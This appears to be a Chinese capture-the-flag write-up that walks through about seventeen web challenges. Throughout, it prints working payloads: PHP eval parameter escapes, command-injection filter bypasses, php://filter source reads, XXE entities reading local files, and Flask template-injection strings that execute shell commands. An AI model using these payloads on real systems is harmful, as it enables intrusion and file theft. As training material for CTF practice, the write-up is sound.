catflag-web-wp部分(填坑)

目录

    • web签到题
    • webshell
    • 命令执行之我在哪
    • int
    • 《我的女友是机器人》
    • 变量覆盖_extract
    • 等于False
    • 文件包含
    • strcmp
    • 什么?有后门
    • 命令执行之我是谁
    • 小矛盾
    • 命令执行之我在干什么
    • xxelab_1
    • xxelab_2
    • easy_flask
    • 啥都没了

web签到题

进入页面,一片空白,查看源码
catflag-web-wp部分(填坑)_第1张图片

webshell

catflag-web-wp部分(填坑)_第2张图片

源码,状态包什么都看了,没找到
啥都没了,猜猜应该是目录扫描
扫一下
catflag-web-wp部分(填坑)_第3张图片
catflag-web-wp部分(填坑)_第4张图片
webshe11.php是白板,查看源码得到
catflag-web-wp部分(填坑)_第5张图片
解码得到hacker
应该是一句话木马的密码
catflag-web-wp部分(填坑)_第6张图片
cat看一下,没有找着(可以直接用菜刀连)
查看根目录
catflag-web-wp部分(填坑)_第7张图片
有了

命令执行之我在哪

catflag-web-wp部分(填坑)_第8张图片
过滤了很多
试下参数逃逸
catflag-web-wp部分(填坑)_第9张图片
http://timu.vfree.ltd:9006/rce/?cmd=eval($_GET[1]);&1=phpinfo();
出来了
catflag-web-wp部分(填坑)_第10张图片

int

catflag-web-wp部分(填坑)_第11张图片
http://timu.vfree.ltd:9006/int/index.php?num=666a
catflag-web-wp部分(填坑)_第12张图片

《我的女友是机器人》

catflag-web-wp部分(填坑)_第13张图片
机器人,看看robots.txt
catflag-web-wp部分(填坑)_第14张图片
访问/f1ag_is_in_there!!!
会让下载一个附件,打开就是flag
catflag-web-wp部分(填坑)_第15张图片

变量覆盖_extract

通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞。经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。
catflag-web-wp部分(填坑)_第16张图片

等于False

catflag-web-wp部分(填坑)_第17张图片
md5(array) 返回值是空

文件包含

catflag-web-wp部分(填坑)_第18张图片
一个大白板,查看源码
php伪协议读文件
view-source:http://timu.vfree.ltd:9008/?php://filter/convert.base64-encode/resource=get_flag
这就可以记作是读文件源码的一种姿势
catflag-web-wp部分(填坑)_第19张图片

strcmp

catflag-web-wp部分(填坑)_第20张图片
这是利用strcmp函数的漏洞

strcmp是比较两个字符串,如果str10 如果两者相等 返回0。

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

什么?有后门

下载附件,丢进D盾
catflag-web-wp部分(填坑)_第21张图片
catflag-web-wp部分(填坑)_第22张图片
zygsctf{zygsctf}

命令执行之我是谁

catflag-web-wp部分(填坑)_第23张图片
有没过滤eval
catflag-web-wp部分(填坑)_第24张图片

再用刚才的姿势,参数逃逸
catflag-web-wp部分(填坑)_第25张图片

小矛盾

catflag-web-wp部分(填坑)_第26张图片
http://timu.vfree.ltd:9022/?num=9e99999
用科学计数法绕过
catflag-web-wp部分(填坑)_第27张图片
再看响应头

命令执行之我在干什么

catflag-web-wp部分(填坑)_第28张图片
可以用括号来绕过文件长度
$a = '/flag|cat|tac|more|less|[ |<>|?|*|\\\\\'"]/';
这个正则没有过滤[
[ |<>|?|*|\\\\\'"]
这个表示是一组
所以过滤了空格

过滤空格用%0a绕过

所以构造payload
http://timu.vfree.ltd:9033/?a=(((((((((((((((((((((((((tail%09fla[a-z].txt)))))))))))))))))))))))))
用正则绕过flag
catflag-web-wp部分(填坑)_第29张图片
查看源码,得到flag
(但是交不对,不会是个假的吧)

xxelab_1

catflag-web-wp部分(填坑)_第30张图片
什么都看不出,抓包吧
catflag-web-wp部分(填坑)_第31张图片
看到了xml,又题目叫xee

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
catflag-web-wp部分(填坑)_第32张图片
是内部声明也可以引用外部DTD,如下所示。

  • 内部声明DTD格式:<!DOCTYPE 根元素[元素声明]>。
  • 引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM “文件名”>。

在DTD中进行实体声明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。

  • 内部声明实体格式:<!ENTITY 实体名称 “实体的值”>。
  • 引用外部实体格式:<!ENTITY 实体名 SYSTEM “URI”>。

看下这个例子
catflag-web-wp部分(填坑)_第33张图片
在POST参数中,关键语句为“file///C:/windows/win.ini”,该语句的作用是通过file协议读取本地文件C:/windows/win.ini

所以我们这一题类似

<!DOCTYPE a[
	<!ENTITY b SYSTEM "file:///flag">
]>

a和b是随意起名即可
catflag-web-wp部分(填坑)_第34张图片
不知道为啥没出来,可能还有其他的过滤
OK,问题找到了,要在元素中引用外部实体参数&b; (不是$b;)

catflag-web-wp部分(填坑)_第35张图片
一定要引用
因为一直emil那里直接输出值,所以只需要在email那里&b; 即可

xxelab_2

catflag-web-wp部分(填坑)_第36张图片
想用上一题的方法,发现没有返回我们的输入了
那怎么办,可以看看前面有一题的姿势
直接读文件源代码那里(一定要记住这个姿势)
php伪协议读文件
view-source:http://timu.vfree.ltd:9008/?php://filter/convert.base64-encode/resource=get_flag

<!DOCTYPE a[
	<!ENTITY b SYSTEM "php://filter/convert.base64-encode/resource=flag.php">
]>

catflag-web-wp部分(填坑)_第37张图片
有了

easy_flask

搜flask漏洞
catflag-web-wp部分(填坑)_第38张图片
文章
SSTI服务端模板注入
catflag-web-wp部分(填坑)_第39张图片

- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

catflag-web-wp部分(填坑)_第40张图片
catflag-web-wp部分(填坑)_第41张图片

啥都没了

catflag-web-wp部分(填坑)_第42张图片
可以想到vim缓存泄露

在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例:
第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn

这里也就刚好是.index.php.swp
http://timu.vfree.ltd:9014/.index.php.swp
访问,得到文件

vi -r 文件名
恢复文件
catflag-web-wp部分(填坑)_第43张图片

你可能感兴趣的:(Web安全,网络,web安全)